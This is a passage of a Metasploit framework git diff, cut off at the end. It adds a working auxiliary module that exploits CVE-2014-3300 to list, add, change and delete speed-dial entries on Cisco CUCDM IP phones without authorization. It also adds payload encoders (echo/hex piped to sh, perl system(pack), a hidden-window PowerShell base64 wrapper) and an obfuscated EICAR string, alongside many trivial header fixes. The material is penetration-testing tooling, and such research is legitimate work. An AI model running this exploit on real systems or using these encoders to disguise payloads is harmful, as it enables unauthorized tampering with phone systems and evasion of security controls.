b/modules/auxiliary/voip/cisco_cucdm_speed_dials.rb new file mode 100644 index 0000000000..ae40518cd1 --- /dev/null +++ b/modules/auxiliary/voip/cisco_cucdm_speed_dials.rb @@ -0,0 +1,205 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'rexml/document' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpClient + + def initialize(info={}) + super(update_info(info, + 'Name' => 'Viproy CUCDM IP Phone XML Services - Speed Dial Attack Tool', + 'Description' => %q{ + The BVSMWeb portal in the web framework in Cisco Unified Communications Domain Manager + (CDM), before version 10, doesn't implement access control properly, which allows remote + attackers to modify user information. This module exploits the vulnerability to make + unauthorized speeddial entity manipulations. + }, + 'Author' => 'fozavci', + 'References' => + [ + ['CVE', '2014-3300'], + ['BID', '68331'] + ], + 'License' => MSF_LICENSE, + 'Actions' => + [ + [ 'List', { 'Description' => 'Getting the speeddials for the MAC address' } ], + [ 'Modify', { 'Description' => 'Modifying a speeddial for the MAC address' } ], + [ 'Add', { 'Description' => 'Adding a speeddial for the MAC address' } ], + [ 'Delete', { 'Description' => 'Deleting a speeddial for the MAC address' } ] + ], + 'DefaultAction' => 'List' + )) + + register_options( + [ + OptString.new('TARGETURI', [ true, 'Target URI for XML services', '/bvsmweb']), + OptString.new('MAC', [ true, 'MAC Address of target phone', '000000000000']), + OptString.new('NAME', [ false, 'Name for Speed Dial', 'viproy']), + OptString.new('POSITION', [ false, 'Position for Speed Dial', '1']), + OptString.new('TELNO', [ false, 'Phone number for Speed Dial', '007']), + ], self.class) + end + + def run + + case action.name.upcase + when 'MODIFY' + modify + when 'DELETE' + delete + when 'ADD' + add + when 'LIST' + list + end + + end + + def send_rcv(uri, vars_get) + uri = normalize_uri(target_uri.to_s, uri.to_s) + res = send_request_cgi( + { + 'uri' => uri, + 'method' => 'GET', + 'vars_get' => vars_get + }) + + if res && res.code == 200 && res.body && res.body.to_s =~ /Speed [D|d]ial/ + return Exploit::CheckCode::Vulnerable, res + else + print_error("#{peer} - Target appears not vulnerable!") + return Exploit::CheckCode::Safe, res + end + end + + def parse(res) + doc = REXML::Document.new(res.body) + names = [] + phones = [] + + list = doc.root.get_elements('DirectoryEntry') + list.each do |lst| + xlist = lst.get_elements('Name') + xlist.each {|l| names << "#{l[0]}"} + xlist = lst.get_elements('Telephone') + xlist.each {|l| phones << "#{l[0]}" } + end + + if names.size > 0 + names.size.times do |i| + info = '' + info << "Position: #{names[i].split(":")[0]}, " + info << "Name: #{names[i].split(":")[1]}, " + info << "Telephone: #{phones[i]}" + + print_good("#{peer} - #{info}") + end + else + print_status("#{peer} - No Speed Dial detected") + end + end + + def list + mac = datastore['MAC'] + + print_status("#{peer} - Getting Speed Dials of the IP phone") + vars_get = { + 'device' => "SEP#{mac}" + } + + status, res = send_rcv('speeddials.cgi', vars_get) + parse(res) unless status == Exploit::CheckCode::Safe + end + + def add + mac = datastore['MAC'] + name = datastore['NAME'] + position = datastore['POSITION'] + telno = datastore['TELNO'] + + print_status("#{peer} - Adding Speed Dial to the IP phone") + vars_get = { + 'name' => "#{name}", + 'telno' => "#{telno}", + 'device' => "SEP#{mac}", + 'entry' => "#{position}", + 'mac' => "#{mac}" + } + status, res = send_rcv('phonespeedialadd.cgi', vars_get) + + if status == Exploit::CheckCode::Vulnerable && res && res.body && res.body.to_s =~ /Added/ + print_good("#{peer} - Speed Dial #{position} is added successfully") + elsif res && res.body && res.body.to_s =~ /exist/ + print_error("#{peer} - Speed Dial is exist, change the position or choose modify!") + else + print_error("#{peer} - Speed Dial couldn't add!") + end + end + + def delete + mac = datastore['MAC'] + position = datastore['POSITION'] + + print_status("#{peer} - Deleting Speed Dial of the IP phone") + + vars_get = { + 'entry' => "#{position}", + 'device' => "SEP#{mac}" + } + + status, res = send_rcv('phonespeeddialdelete.cgi', vars_get) + + if status == Exploit::CheckCode::Vulnerable && res && res.body && res.body.to_s =~ /Deleted/ + print_good("#{peer} - Speed Dial #{position} is deleted successfully") + else + print_error("#{peer} - Speed Dial is not found!") + end + end + + def modify + mac = datastore['MAC'] + name = datastore['NAME'] + position = datastore['POSITION'] + telno = datastore['TELNO'] + + print_status("#{peer} - Deleting Speed Dial of the IP phone") + + vars_get = { + 'entry' => "#{position}", + 'device' => "SEP#{mac}" + } + + status, res = send_rcv('phonespeeddialdelete.cgi', vars_get) + + if status == Exploit::CheckCode::Vulnerable && res && res.body && res.body.to_s =~ /Deleted/ + print_good("#{peer} - Speed Dial #{position} is deleted successfully") + print_status("#{peer} - Adding Speed Dial to the IP phone") + + vars_get = { + 'name' => "#{name}", + 'telno' => "#{telno}", + 'device' => "SEP#{mac}", + 'entry' => "#{position}", + 'mac' => "#{mac}" + } + + status, res = send_rcv('phonespeedialadd.cgi', vars_get) + + if status == Exploit::CheckCode::Vulnerable && res && res.body && res.body.to_s =~ /Added/ + print_good("#{peer} - Speed Dial #{position} is added successfully") + elsif res && res.body =~ /exist/ + print_error("#{peer} - Speed Dial is exist, change the position or choose modify!") + else + print_error("#{peer} - Speed Dial couldn't add!") + end + else + print_error("#{peer} - Speed Dial is not found!") + end + end +end diff --git a/modules/auxiliary/voip/sip_deregister.rb b/modules/auxiliary/voip/sip_deregister.rb index 1a9ad5db04..1369b7b231 100644 --- a/modules/auxiliary/voip/sip_deregister.rb +++ b/modules/auxiliary/voip/sip_deregister.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/voip/sip_invite_spoof.rb b/modules/auxiliary/voip/sip_invite_spoof.rb index 96c455150a..5ee141c27c 100644 --- a/modules/auxiliary/voip/sip_invite_spoof.rb +++ b/modules/auxiliary/voip/sip_invite_spoof.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/vsploit/malware/dns/dns_mariposa.rb b/modules/auxiliary/vsploit/malware/dns/dns_mariposa.rb index 19e267e20d..6421fdb954 100644 --- a/modules/auxiliary/vsploit/malware/dns/dns_mariposa.rb +++ b/modules/auxiliary/vsploit/malware/dns/dns_mariposa.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/vsploit/malware/dns/dns_query.rb b/modules/auxiliary/vsploit/malware/dns/dns_query.rb index 9a250facf6..0a91a507cb 100644 --- a/modules/auxiliary/vsploit/malware/dns/dns_query.rb +++ b/modules/auxiliary/vsploit/malware/dns/dns_query.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/vsploit/malware/dns/dns_zeus.rb b/modules/auxiliary/vsploit/malware/dns/dns_zeus.rb index 25844caa52..097746a5d4 100644 --- a/modules/auxiliary/vsploit/malware/dns/dns_zeus.rb +++ b/modules/auxiliary/vsploit/malware/dns/dns_zeus.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/vsploit/pii/email_pii.rb b/modules/auxiliary/vsploit/pii/email_pii.rb index caa6f7a38d..d68bbbdea6 100644 --- a/modules/auxiliary/vsploit/pii/email_pii.rb +++ b/modules/auxiliary/vsploit/pii/email_pii.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/vsploit/pii/web_pii.rb b/modules/auxiliary/vsploit/pii/web_pii.rb index 06ffb0c75c..2046f60300 100644 --- a/modules/auxiliary/vsploit/pii/web_pii.rb +++ b/modules/auxiliary/vsploit/pii/web_pii.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/encoders/cmd/echo.rb b/modules/encoders/cmd/echo.rb new file mode 100644 index 0000000000..38563f519c --- /dev/null +++ b/modules/encoders/cmd/echo.rb @@ -0,0 +1,90 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + + +require 'msf/core' + + +class Metasploit3 < Msf::Encoder + + Rank = GoodRanking + + def initialize + super( + 'Name' => 'Echo Command Encoder', + 'Description' => %q{ + This encoder uses echo and backlash escapes to avoid commonly restricted characters. + }, + 'Author' => 'hdm', + 'Arch' => ARCH_CMD, + 'Platform' => 'unix', + 'EncoderType' => Msf::Encoder::Type::CmdUnixEcho) + end + + + # + # Encodes the payload + # + def encode_block(state, buf) + # Skip encoding for empty badchars + if state.badchars.length == 0 + return buf + end + + if state.badchars.include?("-") + raise RuntimeError + else + # Without an escape character we can't escape anything, so echo + # won't work. + if state.badchars.include?("\\") + raise RuntimeError + else + buf = encode_block_bash_echo(state,buf) + end + end + + return buf + end + + # + # Uses bash's echo -ne command to hex encode the command string + # + def encode_block_bash_echo(state, buf) + + hex = '' + + # Can we use single quotes to enclose the echo arguments? + if state.badchars.include?("'") + hex = buf.unpack('C*').collect { |c| "\\\\\\x%.2x" % c }.join + else + hex = "'" + buf.unpack('C*').collect { |c| "\\x%.2x" % c }.join + "'" + end + + # Are pipe characters restricted? + if state.badchars.include?("|") + # How about backticks? + if state.badchars.include?("`") + # Last ditch effort, dollar paren + if state.badchars.include?("$") or state.badchars.include?("(") + raise RuntimeError + else + buf = "$(/bin/echo -ne #{hex})" + end + else + buf = "`/bin/echo -ne #{hex}`" + end + else + buf = "/bin/echo -ne #{hex}|sh" + end + + # Remove spaces from the command string + if state.badchars.include?(" ") + buf.gsub!(/\s/, '${IFS}') + end + + return buf + end + +end diff --git a/modules/encoders/cmd/generic_sh.rb b/modules/encoders/cmd/generic_sh.rb index 867195863a..9e394f3bda 100644 --- a/modules/encoders/cmd/generic_sh.rb +++ b/modules/encoders/cmd/generic_sh.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -10,7 +10,7 @@ require 'msf/core' class Metasploit3 < Msf::Encoder # Has some issues, but overall it's pretty good - Rank = GoodRanking + Rank = ManualRanking def initialize super( diff --git a/modules/encoders/cmd/ifs.rb b/modules/encoders/cmd/ifs.rb index 9b8527a49f..602b3508d2 100644 --- a/modules/encoders/cmd/ifs.rb +++ b/modules/encoders/cmd/ifs.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -22,7 +22,8 @@ class Metasploit3 < Msf::Encoder }, 'Author' => 'egypt', 'Arch' => ARCH_CMD, - 'Platform' => 'unix') + 'Platform' => 'unix', + 'EncoderType' => Msf::Encoder::Type::CmdUnixIfs) end @@ -30,6 +31,16 @@ class Metasploit3 < Msf::Encoder # Encodes the payload # def encode_block(state, buf) + # Skip encoding for empty badchars + if state.badchars.length == 0 + return buf + end + + # Skip encoding unless space is a badchar + unless state.badchars.include?(" ") + return buf + end + buf.gsub!(/\s/, '${IFS}') return buf end diff --git a/modules/encoders/cmd/perl.rb b/modules/encoders/cmd/perl.rb new file mode 100644 index 0000000000..bfbf85dd4c --- /dev/null +++ b/modules/encoders/cmd/perl.rb @@ -0,0 +1,130 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + + +require 'msf/core' + + +class Metasploit3 < Msf::Encoder + + Rank = NormalRanking + + def initialize + super( + 'Name' => 'Perl Command Encoder', + 'Description' => %q{ + This encoder uses perl to avoid commonly restricted characters. + }, + 'Author' => 'hdm', + 'Arch' => ARCH_CMD, + 'Platform' => 'unix', + 'EncoderType' => Msf::Encoder::Type::CmdUnixPerl) + end + + + # + # Encodes the payload + # + def encode_block(state, buf) + + # Skip encoding for empty badchars + if state.badchars.length == 0 + return buf + end + + if state.badchars.include?("-") + raise RuntimeError + else + buf = encode_block_perl(state,buf) + end + + return buf + end + + # + # Uses the perl command to hex encode the command string + # + def encode_block_perl(state, buf) + + hex = buf.unpack("H*").join + cmd = 'perl -e ' + qot = ',-:.=+!@#$%^&' + + # Convert spaces to IFS... + if state.badchars.include?(" ") + if state.badchars.match(/[${IFS}]/n) + raise RuntimeError + end + cmd.gsub!(/\s/, '${IFS}') + end + + # Can we use single quotes to enclose the command string? + if state.badchars.include?("'") + if (state.badchars.match(/[()\\]/)) + cmd << perl_e(state, qot, hex) + else + # Without quotes, we can use backslash to escape parens so the + # shell doesn't try to interpreter them. + cmd << "system\\(pack\\(#{perl_qq(state, qot, hex)}\\)\\)" + end + else + # Quotes are ok, but we still need parens or spaces + if (state.badchars.match(/[()]/n)) + if state.badchars.include?(" ") + cmd << perl_e(state, qot, hex) + else + cmd << "'system pack #{perl_qq(state, qot, hex)}'" + end + else + cmd << "'system(pack(#{perl_qq(state, qot, hex)}))'" + end + end + + return cmd + end + + def perl_e(state, qot, hex) + # We don't have parens, quotes, or backslashes so we have to use + # barewords on the commandline for the argument to the pack + # function. As a consequence, we can't use things that the shell + # would interpret, so $ and & become badchars. + qot.delete("$") + qot.delete("&") + + # Perl chains -e with newlines, but doesn't automatically add + # semicolons, so the following will result in the interpreter + # seeing a file like this: + # system + # pack + # qq^H*^,qq^whatever^ + # Since system and pack require arguments (rather than assuming + # $_ when no args are given like many other perl functions), + # this works out to do what we need. + cmd = "system -e pack -e #{perl_qq(state, qot, hex)}" + if state.badchars.include?(" ") + # We already tested above to make sure that these chars are ok + # if space isn't. + cmd.gsub!(" ", "${IFS}") + end + + cmd + end + + def perl_qq(state, qot, hex) + + # Find a quoting character to use + state.badchars.unpack('C*') { |c| qot.delete(c.chr) } + + # Throw an error if we ran out of quotes + raise RuntimeError if qot.length == 0 + + sep = qot[0].chr + # Use an explicit length for the H specifier instead of just "H*" + # in case * is a badchar for the module, and for the case where this + # ends up unquoted so the shell doesn't try to expand a path. + "qq#{sep}H#{hex.length}#{sep},qq#{sep}#{hex}#{sep}" + end + +end diff --git a/modules/encoders/cmd/powershell_base64.rb b/modules/encoders/cmd/powershell_base64.rb new file mode 100644 index 0000000000..e30a7a359a --- /dev/null +++ b/modules/encoders/cmd/powershell_base64.rb @@ -0,0 +1,54 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Encoder + Rank = ExcellentRanking + + def initialize + super( + 'Name' => 'Powershell Base64 Command Encoder', + 'Description' => %q{ + This encodes the command as a base64 encoded command for powershell. + }, + 'Author' => 'Ben Campbell', + 'Arch' => ARCH_CMD, + 'Platform' => 'win') + end + + + # + # Encodes the payload + # + def encode_block(state, buf) + + # Skip encoding for empty badchars + if state.badchars.length == 0 + return buf + end + + if (state.badchars.include? '-') || (state.badchars.include? ' ') + return buf + end + + cmd = encode_buf(buf) + + if state.badchars.include? '=' + while cmd.include? '=' + buf << " " + cmd = encode_buf(buf) + end + end + + cmd + end + + def encode_buf(buf) + base64 = Rex::Text.encode_base64(Rex::Text.to_unicode("cmd.exe /c start #{buf}")) + cmd = "powershell -w hidden -nop -e #{base64}" + end + +end diff --git a/modules/encoders/cmd/printf_php_mq.rb b/modules/encoders/cmd/printf_php_mq.rb index f0bd8ceff1..9526d79586 100644 --- a/modules/encoders/cmd/printf_php_mq.rb +++ b/modules/encoders/cmd/printf_php_mq.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/encoders/generic/eicar.rb b/modules/encoders/generic/eicar.rb new file mode 100644 index 0000000000..7db8116178 --- /dev/null +++ b/modules/encoders/generic/eicar.rb @@ -0,0 +1,49 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Encoder + + # Set to ManualRanking because actually using ths encoder will + # certainly destroy any possibility of a successful shell. + # + Rank = ManualRanking + + def initialize + super( + 'Name' => 'The EICAR Encoder', + 'Description' => %q{ + This encoder merely replaces the given payload with the EICAR test string. + Note, this is sure to ruin your payload. + + Any content-aware firewall, proxy, IDS, or IPS that follows anti-virus + standards should alert and do what it would normally do when malware is + transmitted across the wire. + }, + 'Author' => 'todb', + 'License' => MSF_LICENSE, + 'Arch' => ARCH_ALL, + 'EncoderType' => Msf::Encoder::Type::Unspecified) + + end + + # Avoid stating the string directly, don't want to get caught by local + # antivirus! + def eicar_test_string + obfus_eicar = ["x5o!p%@ap[4\\pzx54(p^)7cc)7}$eicar", "standard", "antivirus", "test", "file!$h+h*"] + obfus_eicar.join("-").upcase + end + + # TODO: add an option to merely prepend and not delete, using + # prepend_buf. Now, technically, EICAR should be all by itself + # and not part of a larger whole. Problem is, OptBool is + # acting funny here as an encoder option. + # + def encode_block(state, buf) + buf = eicar_test_string + end + +end diff --git a/modules/encoders/generic/none.rb b/modules/encoders/generic/none.rb index bcedb58859..6703a746d8 100644 --- a/modules/encoders/generic/none.rb +++ b/modules/encoders/generic/none.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/encoders/mipsbe/byte_xori.rb b/modules/encoders/mipsbe/byte_xori.rb index b5647b87ca..8123cbf7f5 100644 --- a/modules/encoders/mipsbe/byte_xori.rb +++ b/modules/encoders/mipsbe/byte_xori.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -22,7 +22,7 @@ class Metasploit3 < Msf::Encoder::Xor }, 'Author' => [ - 'Julien Tinnes ', # original longxor encoder, which this one is based on + 'Julien Tinnes ', # original longxor encoder, which this one is based on 'juan vazquez' # byte_xori encoder ], 'Arch' => ARCH_MIPSBE, diff --git a/modules/encoders/mipsbe/longxor.rb b/modules/encoders/mipsbe/longxor.rb index ebc26b0e66..cfeebcb409 100644 --- a/modules/encoders/mipsbe/longxor.rb +++ b/modules/encoders/mipsbe/longxor.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -16,7 +16,7 @@ class Metasploit3 < Msf::Encoder::Xor 'Description' => %q{ Mips Web server exploit friendly xor encoder }, - 'Author' => 'Julien Tinnes ', + 'Author' => 'Julien Tinnes ', 'Arch' => ARCH_MIPSBE, 'License' => MSF_LICENSE, 'Decoder' => diff --git a/modules/encoders/mipsle/byte_xori.rb b/modules/encoders/mipsle/byte_xori.rb index 3bca8f7e75..005ee9c5e4 100644 --- a/modules/encoders/mipsle/byte_xori.rb +++ b/modules/encoders/mipsle/byte_xori.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -22,7 +22,7 @@ class Metasploit3 < Msf::Encoder::Xor }, 'Author' => [ - 'Julien Tinnes ', # original longxor encoder, which this one is based on + 'Julien Tinnes ', # original longxor encoder, which this one is based on 'juan vazquez' # byte_xori encoder ], 'Arch' => ARCH_MIPSLE, diff --git a/modules/encoders/mipsle/longxor.rb b/modules/encoders/mipsle/longxor.rb index d397a9e70c..e5ccdb90ee 100644 --- a/modules/encoders/mipsle/longxor.rb +++ b/modules/encoders/mipsle/longxor.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -16,7 +16,7 @@ class Metasploit3 < Msf::Encoder::Xor 'Description' => %q{ Mips Web server exploit friendly xor encoder }, - 'Author' => 'Julien Tinnes ', + 'Author' => 'Julien Tinnes ', 'Arch' => ARCH_MIPSLE, 'License' => MSF_LICENSE, 'Decoder' => diff --git a/modules/encoders/php/base64.rb b/modules/encoders/php/base64.rb index 39199c7a46..bff5ea5e0c 100644 --- a/modules/encoders/php/base64.rb +++ b/modules/encoders/php/base64.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/encoders/ppc/longxor.rb b/modules/encoders/ppc/longxor.rb index 9ecaebfd55..1621e2a3e8 100644 --- a/modules/encoders/ppc/longxor.rb +++ b/modules/encoders/ppc/longxor.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/encoders/ppc/longxor_tag.rb b/modules/encoders/ppc/longxor_tag.rb index 8e3a06e97c..b0e6a90bd2 100644 --- a/modules/encoders/ppc/longxor_tag.rb +++ b/modules/encoders/ppc/longxor_tag.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/encoders/sparc/longxor_tag.rb b/modules/encoders/sparc/longxor_tag.rb index 15bb39ad59..34995ec80e 100644 --- a/modules/encoders/sparc/longxor_tag.rb +++ b/modules/encoders/sparc/longxor_tag.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/encoders/x64/xor.rb b/modules/encoders/x64/xor.rb index a7fcbffd2f..73586cccc7 100644 --- a/modules/encoders/x64/xor.rb +++ b/modules/encoders/x64/xor.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/encoders/x86/add_sub.rb b/modules/encoders/x86/add_sub.rb index dd3aa96acb..0402d673de 100644 --- a/modules/encoders/x86/add_sub.rb +++ b/modules/encoders/x86/add_sub.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/encoders/x86/alpha_mixed.rb b/modules/encoders/x86/alpha_mixed.rb index 81c5ca4026..21cadc3de2 100644 --- a/modules/encoders/x86/alpha_mixed.rb +++ b/modules/encoders/x86/alpha_mixed.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -55,15 +55,6 @@ class Metasploit3 < Msf::Encoder::Alphanum buf + Rex::Encoder::Alpha2::AlphaMixed::gen_decoder(reg, off) end - # - # Configure SEH getpc code on Windows - # - def init_platform(platform) - if(platform.supports?(::Msf::Module::PlatformList.win32)) - datastore['AllowWin32SEH'] = true - end - end - # # Encodes a one byte block with the current index of the length of the # payload. diff --git a/modules/encoders/x86/alpha_upper.rb b/modules/encoders/x86/alpha_upper.rb index 9836928ec5..8eb60e5fe8 100644 --- a/modules/encoders/x86/alpha_upper.rb +++ b/modules/encoders/x86/alpha_upper.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -58,16 +58,6 @@ class Metasploit3 < Msf::Encoder::Alphanum buf + Rex::Encoder::Alpha2::AlphaUpper::gen_decoder(reg, off) end - - # - # Configure SEH getpc code on Windows - # - def init_platform(platform) - if(platform.supports?(::Msf::Module::PlatformList.win32)) - datastore['AllowWin32SEH'] = true - end - end - # # Encodes a one byte block with the current index of the length of the # payload. diff --git a/modules/encoders/x86/avoid_underscore_tolower.rb b/modules/encoders/x86/avoid_underscore_tolower.rb index 1c3d477fe4..44180f5a9e 100644 --- a/modules/encoders/x86/avoid_underscore_tolower.rb +++ b/modules/encoders/x86/avoid_underscore_tolower.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/encoders/x86/avoid_utf8_tolower.rb b/modules/encoders/x86/avoid_utf8_tolower.rb index 20a3a5daeb..a2d5d898cc 100644 --- a/modules/encoders/x86/avoid_utf8_tolower.rb +++ b/modules/encoders/x86/avoid_utf8_tolower.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/encoders/x86/bloxor.rb b/modules/encoders/x86/bloxor.rb index d7dccd332a..52814983cd 100644 --- a/modules/encoders/x86/bloxor.rb +++ b/modules/encoders/x86/bloxor.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/encoders/x86/call4_dword_xor.rb b/modules/encoders/x86/call4_dword_xor.rb index fdb8bf78ae..c49f4572a9 100644 --- a/modules/encoders/x86/call4_dword_xor.rb +++ b/modules/encoders/x86/call4_dword_xor.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -28,6 +28,12 @@ class Metasploit3 < Msf::Encoder::Xor # the buffer being encoded # def decoder_stub(state) + + # Sanity check that saved_registers doesn't overlap with modified_registers + if (modified_registers & saved_registers).length > 0 + raise BadGenerateError + end + decoder = Rex::Arch::X86.sub(-(((state.buf.length - 1) / 4) + 1), Rex::Arch::X86::ECX, state.badchars) + @@ -44,4 +50,19 @@ class Metasploit3 < Msf::Encoder::Xor return decoder end + # Indicate that this module can preserve some registers + def can_preserve_registers? + true + end + + # A list of registers always touched by this encoder + def modified_registers + [ Rex::Arch::X86::ECX, Rex::Arch::X86::EAX, Rex::Arch::X86::ESI ] + end + + # Convert the SaveRegisters to an array of x86 register constants + def saved_registers + Rex::Arch::X86.register_names_to_ids(datastore['SaveRegisters']) + end + end diff --git a/modules/encoders/x86/context_cpuid.rb b/modules/encoders/x86/context_cpuid.rb index 86eb3be4c8..b354574539 100644 --- a/modules/encoders/x86/context_cpuid.rb +++ b/modules/encoders/x86/context_cpuid.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/encoders/x86/context_stat.rb b/modules/encoders/x86/context_stat.rb index 926dc67c6e..4de58d3824 100644 --- a/modules/encoders/x86/context_stat.rb +++ b/modules/encoders/x86/context_stat.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/encoders/x86/context_time.rb b/modules/encoders/x86/context_time.rb index a00a212a95..f5db335623 100644 --- a/modules/encoders/x86/context_time.rb +++ b/modules/encoders/x86/context_time.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/encoders/x86/countdown.rb b/modules/encoders/x86/countdown.rb index b0c15f3ab5..78faa90631 100644 --- a/modules/encoders/x86/countdown.rb +++ b/modules/encoders/x86/countdown.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -30,16 +30,22 @@ class Metasploit3 < Msf::Encoder::Xor # being encoded. # def decoder_stub(state) + + # Sanity check that saved_registers doesn't overlap with modified_registers + if (modified_registers & saved_registers).length > 0 + raise BadGenerateError + end + decoder = Rex::Arch::X86.set( Rex::Arch::X86::ECX, state.buf.length - 1, state.badchars) + - "\xe8\xff\xff\xff" + # call $+4 - "\xff\xc1" + # inc ecx - "\x5e" + # pop esi - "\x30\x4c\x0e\x07" + # xor_loop: xor [esi + ecx + 0x07], cl - "\xe2\xfa" # loop xor_loop + "\xe8\xff\xff\xff" + # call $+4 + "\xff\xc1" + # inc ecx + "\x5e" + # pop esi + "\x30\x4c\x0e\x07" + # xor_loop: xor [esi + ecx + 0x07], cl + "\xe2\xfa" # loop xor_loop # Initialize the state context to 1 state.context = 1 @@ -57,4 +63,18 @@ class Metasploit3 < Msf::Encoder::Xor [ block.unpack('C')[0] ^ (state.context - 1) ].pack('C') end + # Indicate that this module can preserve some registers + def can_preserve_registers? + true + end + + # A list of registers always touched by this encoder + def modified_registers + [ Rex::Arch::X86::ECX, Rex::Arch::X86::ESI ] + end + + # Convert the SaveRegisters to an array of x86 register constants + def saved_registers + Rex::Arch::X86.register_names_to_ids(datastore['SaveRegisters']) + end end diff --git 